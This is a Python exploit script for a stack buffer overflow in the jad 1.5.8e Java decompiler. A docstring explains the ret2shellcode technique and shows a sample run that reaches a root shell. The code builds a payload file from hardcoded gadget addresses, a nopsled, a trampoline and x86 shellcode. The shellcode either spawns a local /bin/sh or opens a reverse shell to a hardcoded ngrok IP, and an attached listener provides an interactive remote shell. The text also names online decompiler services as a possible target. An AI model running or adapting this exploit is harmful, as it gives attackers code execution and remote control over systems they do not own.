#!/usr/bin/env python3

'''
--- Exploit Info ---
ID: -
Software: Java Decompiler (jad)
Versions: 1.5.8e
Tested: 1.5.8e static
Description: Stack-based buffer overflow leading to Code Execution
Vulnerability discovered by: Juan Sacco

Additional info:

This exploit is not much useful in most of environments as it is a code execution exploit
on a local program that has no suid by default, and does not require it so no Privilege escalation
is possible by default. Also it has no open server that could lead to Remote Code Execution.

Anyway, I found some web services that let you to upload a java-compiled file to be
decompiled by jad. This could be a possible attack vector for this exploit.

The following exploit is for the static version of jad, and it just generates a bin file
with the payload on it, so you can pass it to the jad binary in the way you want.

There are two options, generate a reverse shell shellcode or pop a local /bin/sh (with setuid and 
setgid to escalate if possible).

There is a trigger.py file to send the payload too.

Exploitation details:

The exploit uses a ret2shellcode in the static binary, as it is on a fixed location, no leaks are needed, also
it has no canary protection, and no NX, so the attack does not require interactive exploitation, which gives us
the possibility just to create a payload file and sent it to the binary without having to recover any 
type of leak or info.

The technique used in this exploit is just the use of a call esp gadget. As we have a huge buffer before EIP,
I use it for storing the shellcode. Then after ESP I enter a small trampoline that performs:

	sub esp, 400
	jmp esp

As I created a huge nopsled, the nops will be executed until shellcode.

The only values needed to be changed are the ones specified between the CONFIG comment tags.

Once the exploit generates the payload.bin file you can give it to jad like this:

./jad $(cat payload.bin)

Or crafting your own one-liner:

python3 -c 'from subprocess import *;payload=open("./payload.bin","rb").read();call(["jad", payload])'

I also created a trigger.py file to send the payload to jad given the filename where it is stored.

Execution:

lockedbyte@pwn:~/Desktop/exploits/jad_1.5.8e_oob_write$ python3 exploit.py payload.bin
[+] Payload written to: payload.bin
lockedbyte@pwn:~/Desktop/exploits/jad_1.5.8e_oob_write$ python3 trigger.py payload.bin
[*] Triggering the vulnerability with: payload.bin
JavaClassFileReadException: can't open input file on `

--- some data I skipped ---
`

# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),1000(lockedbyte)
# pwd
/home/lockedbyte/Desktop/exploits/jad_1.5.8e_oob_write
# 

--- End Exploit Info ---

'''

import sys
import socket
import struct

p32 = lambda v: struct.pack("<I", v)

p32x = lambda v: struct.pack(">I", v)
p64 = lambda v: struct.pack(">Q", v)
u32 = lambda v: struct.unpack(">I", v)[0]
u64 = lambda v: struct.unpack(">Q", v)[0]

# --- CONFIG ---
LHOST = '0.0.0.0'		# local ip to bind
RHOST = '3.136.65.236' 	# ngrok generated IP
LPORT = 31338			# local port to listen
RPORT = 14082			# ngrok generated port
local_binsh = 1			# local /bin/sh execve or reverse shell
# --- END CONFIG ...

offset = 0x1fd6

def listener():
	try:
		with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
			s.bind((LHOST, LPORT))
			s.listen()
			conn, addr = s.accept()
			with conn:
				print('[+] Received connection from: ' + addr[0] + ':' + str(addr[1]))
				print('[*] Opening a remote shell session...')
				while True:
					cmd = input('$ ').encode('utf-8')
					conn.sendall(cmd)
					data = conn.recv(9048*2)
					if not data:
						return 0
					data = data.decode('utf-8')
					print(data)
	except:
		return 0

def pn(value):
	count = len(hex(value).replace('0x', ''))
	r = p64(value)
	v = count/2
	if(count % 2 != 0):
		count += 1
	idx = int(count/2)
	r = r[-idx:]
	return r

def xor_strings(str1, str2):
	result =  int(str1,16) ^ int(str2,16)
	return '{:x}'.format(result)

def to_bin(val):
		x = pn(int('0x' + val, 16))
		return x

def generate_shellcode(ip, port):
	hexip = socket.inet_aton(ip).hex()
	revhexip = hexip[6:8]
	revhexip = revhexip + hexip[4:6]
	revhexip = revhexip + hexip[2:4]
	revhexip = revhexip + hexip[0:2]
	xored_ip = xor_strings(revhexip,"FFFFFFFF")
	hexport = hex(int(port)).replace('0x','')
	if len(hexport)<4:
	    hexport = '0'+hexport
	revhexport = hexport[2:4]+ hexport[0:2] 
	
	shellcode = b'\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x31\xf6\x31\xff\xbf' \
					+ to_bin(xored_ip[6:8]) + \
					  to_bin(xored_ip[4:6]) + \
					  to_bin(xored_ip[2:4]) + \
					  to_bin(xored_ip[0:2]) + \
				b'\x83\xf7\xff\x57\x66\x68' + \
					  to_bin(revhexport[2:4]) + \
					  to_bin(revhexport[0:2]) + \
				b'\x66\x6a\x02\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x96\x66' \
				b'\xb8\x6a\x01\x89\xf3\x89\xe1\xb2\x10\xcd\x80\x31\xc0\x89\xf3' \
				b'\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\xb0\x0b' \
				b'\x31\xdb\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3' \
				b'\x31\xc9\x31\xd2\xcd\x80'

	return shellcode

def generate_payload(f_name):

	# gadgets

	push_esp_ret = 0x0809c6b0 					# push esp ; ret
	call_esp = 0x080e2e18 						# call esp
	int_80h = 0x080c861f 						# int 0x80
	pop_ebx_ebp_ret = 0x080af408 				# pop ebx ; pop ebp ; ret
	pop_ecx_ret = 0x08067b43 					# pop ecx ; ret
	pop_edx_ebp_ret = 0x08100290 				# pop edx ; pop ebp ; ret

	if(local_binsh):
		shellcode = b'\xeb\x34\x5e\x31\xc0\x31\xc9\x88\x46\x07\x8d' \
					b'\x1e\x89\x5e\x08\x89\x46\x0c\xb1\x07\x80\x74'\
					b'\x0e\xff\x03\x80\xe9\x01\x75\xf6\x31\xdb\xb0'\
					b'\x17\xcd\x80\x31\xdb\xb0\x2e\xcd\x80\xb0\x0b'\
					b'\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8'\
					b'\xc7\xff\xff\xff\x2c\x61\x6a\x6d\x2c\x70\x6b'
	else:
		shellcode = generate_shellcode(RHOST, RPORT)

	ropchain = b''
	ropchain += p32(call_esp)					# call esp (where shellcode is located)

	nops_n = 400
	tramp_off = 400

	junk = b''
	junk += b'A'*(offset-len(shellcode)-nops_n)

	# nops + shellcode + EBP + gadget_1 + trampoline

	trampoline = b''							# sub esp, 400 ; jmp esp
	trampoline += b'\x83\xec\x64\x83\xec\x64' \
				  b'\x83\xec\x64\x83\xec\x64' \
				  b'\xff\xe4'


	payload = b''								# init payload
	payload += junk								# junk
	payload += b'\x90'*(nops_n)					# nops
	payload += shellcode						# shellcode
	payload += ropchain							# ROP chain
	payload += trampoline						# trampoline to jump shellcode

	try:
		fp = open(f_name, 'wb')
		fp.write(payload)
		fp.close()
		return 1
	except:
		return 0


def main():
	if(len(sys.argv) != 2):
		print('[%] Usage: python3 ' + sys.argv[0] + ' <out file>')
		exit()

	if(generate_payload(sys.argv[1])):
		print('[+] Payload written to: ' + sys.argv[1])
	else:
		print('[-] Something went wrong while generating payload!')
		exit()
	
	if(local_binsh):
		exit()
	else:
		print('[*] Starting listener at ' + LHOST + ':' + str(LPORT))
		listener()

	return

if __name__ == '__main__':
	main()